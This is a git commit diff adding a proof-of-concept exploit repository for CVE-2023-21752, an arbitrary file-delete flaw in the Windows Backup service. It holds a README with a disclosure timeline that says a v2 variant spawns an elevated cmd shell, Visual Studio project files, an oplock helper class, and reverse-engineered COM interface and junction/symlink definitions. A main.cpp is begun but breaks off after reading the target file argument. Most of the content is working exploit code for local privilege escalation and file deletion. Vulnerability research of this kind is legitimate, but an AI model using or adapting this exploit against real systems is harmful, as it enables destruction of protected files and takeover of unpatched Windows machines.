Pre Merge pull request !394 from LYouth/master
This commit is contained in:
commit
ca464954f2
|
@ -0,0 +1,25 @@
|
|||
# CVE-2023-21752
|
||||
|
||||
PoC for arbitrary file delete vulnerability in Windows Backup service.
|
||||
|
||||
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752
|
||||
|
||||
This repo contains two exploits:
|
||||
|
||||
v1 - Just perform file delete of user choice
|
||||
|
||||
v2 - Tries to abuse arb delete to spawn elevated cmd shell (not very stable probably need to run it couple of times, better work on phisycal machine)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
https://user-images.githubusercontent.com/44291883/211601142-c04534e5-f718-478d-b91a-65d6a4f06080.mp4
|
||||
|
||||
|
||||
# Timeline
|
||||
|
||||
- 07/07/2022 - Vulnerability reported to MSRC
|
||||
- 08/10/2022 - MSRC confirmed vulnerability
|
||||
- 08/12/2022 - Bounty awarded
|
||||
- 01/10/2023 - Patch released
|
|
@ -0,0 +1,201 @@
|
|||
|
||||
#include "FileOpLock.h"
|
||||
#include <threadpoolapiset.h>
|
||||
|
||||
|
||||
|
||||
FileOpLock::FileOpLock(UserCallback cb) :
|
||||
g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)
|
||||
{
|
||||
g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
|
||||
g_inputBuffer.StructureLength = sizeof(g_inputBuffer);
|
||||
g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
|
||||
g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
|
||||
g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
|
||||
g_outputBuffer.StructureLength = sizeof(g_outputBuffer);
|
||||
}
|
||||
|
||||
|
||||
FileOpLock::~FileOpLock()
|
||||
{
|
||||
if (g_wait)
|
||||
{
|
||||
SetThreadpoolWait(g_wait, nullptr, nullptr);
|
||||
CloseThreadpoolWait(g_wait);
|
||||
g_wait = nullptr;
|
||||
}
|
||||
|
||||
if (g_o.hEvent)
|
||||
{
|
||||
CloseHandle(g_o.hEvent);
|
||||
g_o.hEvent = nullptr;
|
||||
}
|
||||
|
||||
if (g_hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(g_hFile);
|
||||
g_hFile = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
bool FileOpLock::BeginLock(const std::wstring& filename)
|
||||
{
|
||||
g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
||||
g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
|
||||
|
||||
|
||||
|
||||
g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
|
||||
0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0);
|
||||
if (g_hFile == INVALID_HANDLE_VALUE) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
|
||||
if (g_wait == nullptr)
|
||||
{
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
|
||||
|
||||
DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
|
||||
&g_inputBuffer, sizeof(g_inputBuffer),
|
||||
&g_outputBuffer, sizeof(g_outputBuffer),
|
||||
nullptr, &g_o);
|
||||
if (GetLastError() != ERROR_IO_PENDING) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
bool FileOpLock::BeginLock(HANDLE hfile)
|
||||
{
|
||||
g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
||||
g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
|
||||
|
||||
|
||||
|
||||
g_hFile = hfile;
|
||||
if (g_hFile == INVALID_HANDLE_VALUE) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
|
||||
if (g_wait == nullptr)
|
||||
{
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
|
||||
DWORD bytesReturned;
|
||||
|
||||
DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
|
||||
&g_inputBuffer, sizeof(g_inputBuffer),
|
||||
&g_outputBuffer, sizeof(g_outputBuffer),
|
||||
nullptr, &g_o);
|
||||
/*DeviceIoControl(g_hFile,
|
||||
FSCTL_REQUEST_OPLOCK_LEVEL_1,
|
||||
NULL, 0,
|
||||
NULL, 0,
|
||||
&bytesReturned,
|
||||
&g_o);*/
|
||||
if (GetLastError() != ERROR_IO_PENDING) {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb)
|
||||
{
|
||||
FileOpLock* ret = new FileOpLock(cb);
|
||||
|
||||
if (ret->BeginLock(name))
|
||||
{
|
||||
return ret;
|
||||
}
|
||||
else
|
||||
{
|
||||
delete ret;
|
||||
return nullptr;
|
||||
}
|
||||
}
|
||||
FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb)
|
||||
{
|
||||
FileOpLock* ret = new FileOpLock(cb);
|
||||
|
||||
if (ret->BeginLock(hfile))
|
||||
{
|
||||
return ret;
|
||||
}
|
||||
else
|
||||
{
|
||||
delete ret;
|
||||
return nullptr;
|
||||
}
|
||||
}
|
||||
void FileOpLock::WaitForLock(UINT Timeout)
|
||||
{
|
||||
WaitForSingleObject(g_hLockCompleted, Timeout);
|
||||
}
|
||||
|
||||
void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(Instance);
|
||||
UNREFERENCED_PARAMETER(Wait);
|
||||
UNREFERENCED_PARAMETER(WaitResult);
|
||||
|
||||
FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);
|
||||
|
||||
lock->DoWaitCallback();
|
||||
}
|
||||
void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(Instance);
|
||||
UNREFERENCED_PARAMETER(Wait);
|
||||
UNREFERENCED_PARAMETER(WaitResult);
|
||||
|
||||
FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter);
|
||||
|
||||
lock->DoWaitCallbackt();
|
||||
}
|
||||
void FileOpLock::DoWaitCallbackt()
|
||||
{
|
||||
DWORD dwBytes;
|
||||
if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
|
||||
|
||||
}
|
||||
|
||||
if (_cb)
|
||||
{
|
||||
_cb();
|
||||
}
|
||||
g_hFile = INVALID_HANDLE_VALUE;
|
||||
SetEvent(g_hLockCompleted);
|
||||
}
|
||||
void FileOpLock::DoWaitCallback()
|
||||
{
|
||||
DWORD dwBytes;
|
||||
if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
|
||||
|
||||
}
|
||||
|
||||
if (_cb)
|
||||
{
|
||||
_cb();
|
||||
}
|
||||
|
||||
|
||||
CloseHandle(g_hFile);
|
||||
g_hFile = INVALID_HANDLE_VALUE;
|
||||
SetEvent(g_hLockCompleted);
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
class FileOpLock
|
||||
{
|
||||
public:
|
||||
typedef void(*UserCallback)();
|
||||
static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb);
|
||||
static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb);
|
||||
void WaitForLock(UINT Timeout);
|
||||
|
||||
~FileOpLock();
|
||||
private:
|
||||
|
||||
HANDLE g_hFile;
|
||||
OVERLAPPED g_o;
|
||||
REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
|
||||
REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
|
||||
HANDLE g_hLockCompleted;
|
||||
PTP_WAIT g_wait;
|
||||
UserCallback _cb;
|
||||
|
||||
FileOpLock(UserCallback cb);
|
||||
|
||||
static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult);
|
||||
static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
|
||||
PVOID Parameter, PTP_WAIT Wait,
|
||||
TP_WAIT_RESULT WaitResult);
|
||||
void DoWaitCallback();
|
||||
void DoWaitCallbackt();
|
||||
bool BeginLock(HANDLE hfile);
|
||||
bool BeginLock(const std::wstring& name);
|
||||
|
||||
};
|
||||
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.0.31919.166
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SDRsvcEop", "SDRsvcEop.vcxproj", "{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.Build.0 = Debug|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.Build.0 = Debug|Win32
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.ActiveCfg = Release|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.Build.0 = Release|x64
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.ActiveCfg = Release|Win32
|
||||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {E7910A37-2126-493B-A1A7-2FD1F8FCFB30}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,153 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{e87cbf4d-3552-4894-9ed2-b296d4dbf5bb}</ProjectGuid>
|
||||
<RootNamespace>SDRsvcEop</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="def.h" />
|
||||
<ClInclude Include="FileOplock.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="FileOplock.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,33 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="def.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileOplock.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileOplock.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,4 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
|
@ -0,0 +1,126 @@
|
|||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <combaseapi.h>
|
||||
#include <stdio.h>
|
||||
#include <cstdint>
|
||||
#include <shlobj_core.h>
|
||||
#include "FileOplock.h"
|
||||
|
||||
#pragma warning(disable:4996)
|
||||
#pragma comment(lib,"Rpcrt4.lib")
|
||||
struct __declspec(uuid("687E55CA-6621-4C41-B9F1-C0EDDC94BB05")) CLSID_SDC;
|
||||
|
||||
|
||||
class __declspec(uuid("a9f63151-4ccf-4c63-9b5a-3ba524a33886")) ISdScheduledBackup : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT __stdcall Proc3();
|
||||
virtual HRESULT __stdcall Proc4(/* Stack Offset: 8 */ void* p0, /* Stack Offset: 16 */ GUID* p1);
|
||||
virtual HRESULT __stdcall Proc5(/* Stack Offset: 8 */ struct Struct_8* p0);
|
||||
virtual HRESULT __stdcall Proc6(/* Stack Offset: 8 */ struct Struct_9* p0);
|
||||
virtual HRESULT __stdcall Proc7(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ struct Struct_10* p1);
|
||||
virtual HRESULT __stdcall Proc8(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1);
|
||||
virtual HRESULT __stdcall Proc9(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1);
|
||||
virtual HRESULT __stdcall Proc10(/* Stack Offset: 8 */ GUID* p0);
|
||||
virtual HRESULT __stdcall Proc11(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1);
|
||||
virtual HRESULT __stdcall Proc12(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1, /* Stack Offset: 24 */ wchar_t* p2, /* Stack Offset: 32 */ int64_t p3, /* Stack Offset: 40 */ struct Struct_10* p4, /* Stack Offset: 48 */ int64_t* p5);
|
||||
virtual HRESULT __stdcall Proc13(/* Stack Offset: 8 */ wchar_t** p0);
|
||||
};
|
||||
typedef struct Struct_10 {
|
||||
/* Offset: 0 */ wchar_t* Member0;
|
||||
/* Offset: 8 */ wchar_t* Member8;
|
||||
/* Offset: 16 */ wchar_t* Member10;
|
||||
/* Offset: 24 */ wchar_t* Member18;
|
||||
/* Offset: 32 */ wchar_t* Member20;
|
||||
/* Offset: 40 */ wchar_t* Member28;
|
||||
/* Offset: 48 */ wchar_t* Member30;
|
||||
/* Offset: 56 */ /* ENUM32 */ uint32_t Member38;
|
||||
/* Offset: 64 */ int64_t Member40;
|
||||
/* Offset: 72 */ int64_t Member48;
|
||||
/* Offset: 80 */ int64_t Member50;
|
||||
/* Offset: 84 */ int64_t Member54;
|
||||
/* Offset: 88 */ int64_t Member58;
|
||||
/* Offset: 92 */ int64_t Member5C;
|
||||
/* Offset: 96 */ int64_t Member60;
|
||||
/* Offset: 100 */ int64_t Member64;
|
||||
/* Offset: 104 */ int64_t Member68;
|
||||
/* Offset: 108 */ int64_t Member6C;
|
||||
/* Offset: 112 */ int64_t Member70;
|
||||
/* Offset: 116 */ int64_t Member74;
|
||||
/* Offset: 120 */ int64_t Member78;
|
||||
/* Offset: 124 */ int64_t Member7C;
|
||||
/* Offset: 128 */ int64_t Member80;
|
||||
/* Offset: 132 */ int64_t Member84;
|
||||
/* Offset: 136 */ int64_t Member88;
|
||||
}Struct_10, * PStruct_10;
|
||||
|
||||
|
||||
#define FULL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE
|
||||
|
||||
void load();
|
||||
BOOL CreateJunction(HANDLE dir, LPCWSTR target);
|
||||
BOOL DeleteJunction(HANDLE dir);
|
||||
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target);
|
||||
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target);
|
||||
void cb();
|
||||
BOOL Trigger();
|
||||
LPWSTR GetTmpDir();
|
||||
BOOL Move(HANDLE);
|
||||
VOID FindFile(HANDLE hDir);
|
||||
LPWSTR BuildPath(LPCWSTR path);
|
||||
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion);
|
||||
HANDLE bt;
|
||||
HANDLE hFile,hDir;
|
||||
WCHAR unc[MAX_PATH * 2] = { 0x0 };
|
||||
LPWSTR dir;
|
||||
wchar_t* target;
|
||||
wchar_t object[MAX_PATH] = { 0x0 };
|
||||
typedef struct _REPARSE_DATA_BUFFER {
|
||||
ULONG ReparseTag;
|
||||
USHORT ReparseDataLength;
|
||||
USHORT Reserved;
|
||||
union {
|
||||
struct {
|
||||
USHORT SubstituteNameOffset;
|
||||
USHORT SubstituteNameLength;
|
||||
USHORT PrintNameOffset;
|
||||
USHORT PrintNameLength;
|
||||
ULONG Flags;
|
||||
WCHAR PathBuffer[1];
|
||||
} SymbolicLinkReparseBuffer;
|
||||
struct {
|
||||
USHORT SubstituteNameOffset;
|
||||
USHORT SubstituteNameLength;
|
||||
USHORT PrintNameOffset;
|
||||
USHORT PrintNameLength;
|
||||
WCHAR PathBuffer[1];
|
||||
} MountPointReparseBuffer;
|
||||
struct {
|
||||
UCHAR DataBuffer[1];
|
||||
} GenericReparseBuffer;
|
||||
} DUMMYUNIONNAME;
|
||||
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
|
||||
typedef struct _OBJECT_DIRECTORY_INFORMATION {
|
||||
UNICODE_STRING Name;
|
||||
UNICODE_STRING TypeName;
|
||||
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
|
||||
#define STATUS_MORE_ENTRIES 0x00000105
|
||||
#define STATUS_NO_MORE_ENTRIES 0x8000001A
|
||||
#define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L)
|
||||
|
||||
typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
|
||||
typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
|
||||
typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength);
|
||||
typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)(
|
||||
HANDLE FileHandle,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
ULONG FileInformationClass
|
||||
);
|
||||
|
||||
_RtlInitUnicodeString pRtlInitUnicodeString;
|
||||
_NtCreateFile pNtCreateFile;
|
||||
_NtSetInformationFile pNtSetInformationFile;
|
||||
|
|
@ -0,0 +1,271 @@
|
|||
#include "def.h"
|
||||
|
||||
int wmain(int argc,wchar_t** argv)
|
||||
{
|
||||
|
||||
load();
|
||||
if (argc < 2) {
|
||||
printf("[+] Usage: %ls <file to delete>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
target = argv[1];
|
||||
|
||||
dir = GetTmpDir();
|
||||
